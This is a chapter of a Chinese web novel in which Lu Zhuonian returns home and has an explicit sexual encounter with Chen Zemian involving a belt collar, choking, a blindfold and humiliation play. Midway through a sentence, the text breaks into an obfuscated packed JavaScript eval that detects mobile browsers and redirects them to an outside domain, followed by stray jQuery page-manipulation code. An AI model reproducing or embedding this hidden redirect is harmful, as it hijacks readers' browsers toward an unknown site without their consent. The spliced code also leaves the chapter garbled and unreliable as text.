第120章

作品:《京圈少爷的公用狗腿

    “小狗?”


    陆灼年摩挲着陈则眠的脸颊:“是那种会故意犯错,等着主人来惩罚的小狗吗?”


    陈则眠眼睛微微瞪圆:“啊?”


    陆灼年轻轻拍了拍陈则眠的脸:“会做四菜一汤还能考博士的小狗很好玩吧。”


    陈则眠耳廓发热,连着脖颈泛起一阵淡粉:“你怎么会知道我和傅听潮说什么了?”


    陆灼年提醒他:“语音没挂。”


    陈则眠特别不好意思地说:“哦。”


    所以傅听潮那句‘小狗会沥尿’陆灼年也听到了。


    陈则眠听这句话的时候没什么感觉但不知为何知道陆灼年当时也听到了之后


    陆灼年果然念念不忘微微倾身低语道:“傅听潮有没有教你怎么训沥尿的小狗。”


    陈则眠双手捧着皮带套在自己脖子上右手一推,将皮带扣推到最紧。


    男士腰带很粗铂金皮带扣又格外沉多余出的几十公分长度半翘半垂,像一根黑色锁链,挂在脖颈上有种比例失衡的扭曲感。


    陆灼年眼眸暗沉,呼吸瞬间变化。


    陈则眠将皮带末端递向陆灼年。


    陆灼年轻轻拽了下皮带,陈则眠被扯得前倾,单手撑住墙壁才稳住身形。


    “疼!”陈则眠低呼一声,手指扣住皮带,**皮面与脖颈间的缝隙:“轻点。”


    皮带扣眼不会打到这个位置所以皮带没有扣死,受力一拽宛如瞬间收紧的白绫不仅疼,而且会上不来气。


    陆灼年沉默几秒把皮带解了下来随手扔到了旁边。


    陈则眠疑惑地看了眼皮带,又看向陆灼年:“不玩了吗?”


    陆灼年抬起手指轻抚颈侧显眼的红印:“陈则眠你会不会觉得我太过分了。”


    陈则眠迷茫道:“什么过分。”


    陆灼年缓缓逼近:“我让人把你留在这里不让你回家还羞辱你。”


    陈则眠不明所以道:“没有吧。”


    他们让我留下都给了我好多钱的。


    陆灼年将陈则眠抵在墙角目光沉沉:“他们这么对你都是听了我的吩咐你就没什么想对我说的?”


    陈则眠眼睫微颤抬头看了陆灼年一眼又很快低下头特别不好意思地说:“再……再多羞辱我一点吧。”


    看着陈则眠没心没肺的样子陆灼年忽而哑然一笑。


    从昨夜听闻傅听潮送狗这个消息伊始到现在站在陈则眠面前陆灼年一共用了18个小时20分钟。


    他联系两国空管紧急协调了私人飞机的国际航线;在好友叶宸长达三分钟的沉默中讲述了家里可能存在‘小奶狗’的情况;担心叶宸留不住人不惜把


    陈则眠所有好友都请来一同坐镇。


    没考虑影响也不在乎颜面。


    陆灼年方寸大乱。


    万米高空之上他横穿东西半球从一个白天到另一个白天独自跨越漫漫黑夜。


    18小时20分钟10810公里一路上所有的焦灼与思量也都只在这一笑之间。


    灰飞烟灭。


    怪只怪路途太长、时间太久陆灼年过激的情绪都在漫长的旅程中消耗殆尽见到陈则眠以后就只剩下满腔化不开的缱绻。


    傅听潮非要把小奶狗送给陈则眠陈则眠有什么错。


    陆灼年原谅陈则眠总是不需要太长时间他把皮带扔在一旁半揽着陈则眠的肩膀


    陈则眠本来就没太睡醒脸颊贴在陆灼年胸口很快又隐约泛起一丝困意打了个哈欠问陆灼年:“你怎么不直接回家?”


    陆灼年语气淡淡:“那多影响你玩儿狗。”


    陈则眠完全不知道他和陆灼年说的是两种狗闻言笑了笑:“那不能你要回来我就让傅听潮把狗接走。”


    陆灼年轻按陈则眠后颈:“那没狗玩了。”


    陈则眠笑了扒着陆灼年衣领亲过去:“那不是还有我呢吗。”


    陆灼年呼吸微窒拽着陈则眠手腕大步往外走去。


    看到遗落在沙发上的铂金皮带陈则眠眼疾手快地捞起来还没来得及卷好就被陆灼年带出了包厢。


    一出门正巧与尚未离开的几人面面相觑。


    陈则眠右手被陆灼年拽着只能用左手和众人打招呼:“还没走呢。”


    他一抬手所有人的目光都看向他手中的皮带。


    众人:“……”


    陈则眠瞬间收手把手背到身后尴尬地笑了笑。


    在这种既考验情商又考验智商的决胜时刻薛铎舍身取义硬是捞了陈则眠一把:“陆少要回家了吗?我开车送你们吧。”


    听到‘回家’二字陆灼年本就冷峻的脸色微微一沉。


    薛铎:“……”


    本意是救兄弟于水火没承想火上浇油一巴掌拍马蹄子上了。


    薛铎满头雾水心说怎么连回家也不能提了?陆大少的怒点还真是难以揣测。


    刘越博深得陈则眠真传闪避技能数值极高在该装死的时候绝对不做出头鸟不说不问不听不看在看到陈则眠手中皮带的下一秒就自发面壁佯装欣赏壁挂上精致的花纹。


    程紫伊和沈青琬更是不知该怎么说、怎么劝看着陈则眠欲言又止。


    陈则眠主动打破僵局说:“没事没事我和陆少经常这么玩。”


    听到这话众人神色更是诡异。


    陈则眠发现自己越


    描越黑,还想出言描补,陆灼年却又不耐烦地拽了他一下。


    陈则眠微微踉跄,在众人惊疑不定的眼神中,被陆灼年拉进电梯。


    电梯数字缓缓上行。


    “他、他们不回家啊?”


    程紫伊下意识看向引导牌,发现电梯停在顶层时蓦然噤声。


    整个顶层只有一间总统套房。


    陆灼年和陈则眠上楼是去做什么无需多言。


    大家你看看我,我看看你,都不知道这又是演的哪出大戏,不敢说也不敢问,见正主已经将人领走,多留无益,只能纷纷散了。


    总统套房豪奢华丽,私密性极强,巨幅落地窗宽敞明亮,单向玻璃的设计十分巧妙,既能保护隐私,又能尽览大片美景。


    陆灼年一言不发,沉默地拽着陈则眠走进客厅,猛地一甩手,将他抵在落地窗前。


    陈则眠后背撞上冰冷的玻璃,听见陆灼年在他耳边说了三个字。


    “背过去。”


    陈则眠没动,但呼吸却陡然急促。


    陆灼年解下领带,蒙在了陈则眠眼睛上。


    视觉被剥夺后,周围其他感官被无限放大,连衣料摩擦的声响都格外清晰。


    陈则眠激动得指


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622454|159526||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    尖都在发抖。


    陆灼年眸光深邃,透露出一股难以言喻的情绪。


    看着陈则眠因视线受阻,解了两次都没有解开,他突然感到一阵焦躁与烦闷,心急的像个情窦初开的少年,直接将人翻了过去。


    陈则眠双手撑着玻璃上,闷哼一声:“慢点,疼!”


    “不是你要求再羞辱更多一些吗?”陆灼年低下头,扳过陈则眠的脸和他接吻,动作霸道热烈,透露出一丝野兽般的强悍与**。


    太凶了。


    陈则眠被狠狠抵在落地窗前,整个世界颠倒摇晃,一触即溃。


    他开始后悔自己总是口无遮拦,胡说八道。


    明明知道陆灼年有性瘾,陈则眠偏忍不住撩拨他,喜欢看陆灼年因为他而沉迷失控的模样。


    敢在刀锋边缘试探,就到担得起反噬的结果。


    衣服开始是穿在身上的,后来卷得混乱。


    领带从眼前滑落,陈则眠羽睫湿润,闭上眼不敢看窗外的景致,更不敢看玻璃中倒影。


    陆灼年掐着陈则眠脖颈,逼迫他看向镜中自己。


    陈则眠浑身肌肉瞬间绷紧,发出一声小动物般的呜咽。


    陆灼年呼吸潮热,声音暗哑:“眠眠,喜欢这么被羞辱吗?”


    陈则眠想躲却无处可躲,只能不断摇头,手指勾起落在地上的领带,掩耳盗铃般系回自己眼前。


    狂风骤雨般的掠夺下,陈则眠率先缴械投降。


    陆灼年微微后退,放开怀中的陈则眠。


    陈则眠


    面覆黑色领带,眼前一无所有,什么也看不见,离开陆灼年的炙热怀抱后,他感觉到了难以言表的空虚与不安。


    耳边彼此怦然的心跳声,成为整个世界唯一的真实存在。


    他下意识去寻找陆灼年。


    哪怕这个男人刚刚如此凶悍,强势亲吻令他溃不成军。


    可陈则眠还是想要他,想拥抱他。


    面前的玻璃那么冷,陆灼年能让他热起来。


    陈则眠手指抚上眼前摇摇欲坠的领带,另一只手下意识向后摸索:“陆灼年。”


    陆灼年声音冷肃,用平淡的语气叙述事实:“玻璃有点脏,看不清下面的景色了。”


    陈则眠伏在窗前剧烈喘息,肩胛骨宛如折断的蝶翼,痉挛般抽搐着抖动:“那、那怎么办。”


    陆灼年扯紧陈则眠脑后的领带,把手帕塞到陈则眠手里:“去擦干净。”


    陈则眠犹豫片刻,倾身靠近玻璃。


    他看不到玻璃上哪里脏了,也没有去摘眼镜上面的领带,而是微微仰脸,轻轻扇动鼻翼,用鼻子去找玻璃上的味道。


    看到这一幕,陆灼年难以自控,忍不住低骂了一句脏话:“陈则眠你怎么这么会。”


    陈则眠浅浅低笑一声:“我还会更多。”


    说完,他回身‘看’了陆灼年一眼,而后转过头,扬起下巴靠近玻璃。


    流畅优美的下颌线、脆弱白皙的脖颈、嫣红如血的颈边痣,过于摄魂的美景交替重叠,不断冲击着陆灼年摇摇欲坠的意志力。


    陆灼年意乱情迷,呼吸声愈来愈重。


    即便如此,陈则眠犹嫌不足。


    微微湿润的薄唇轻启,陈则眠伸出嫩红的舌尖,仰头舔向玻璃。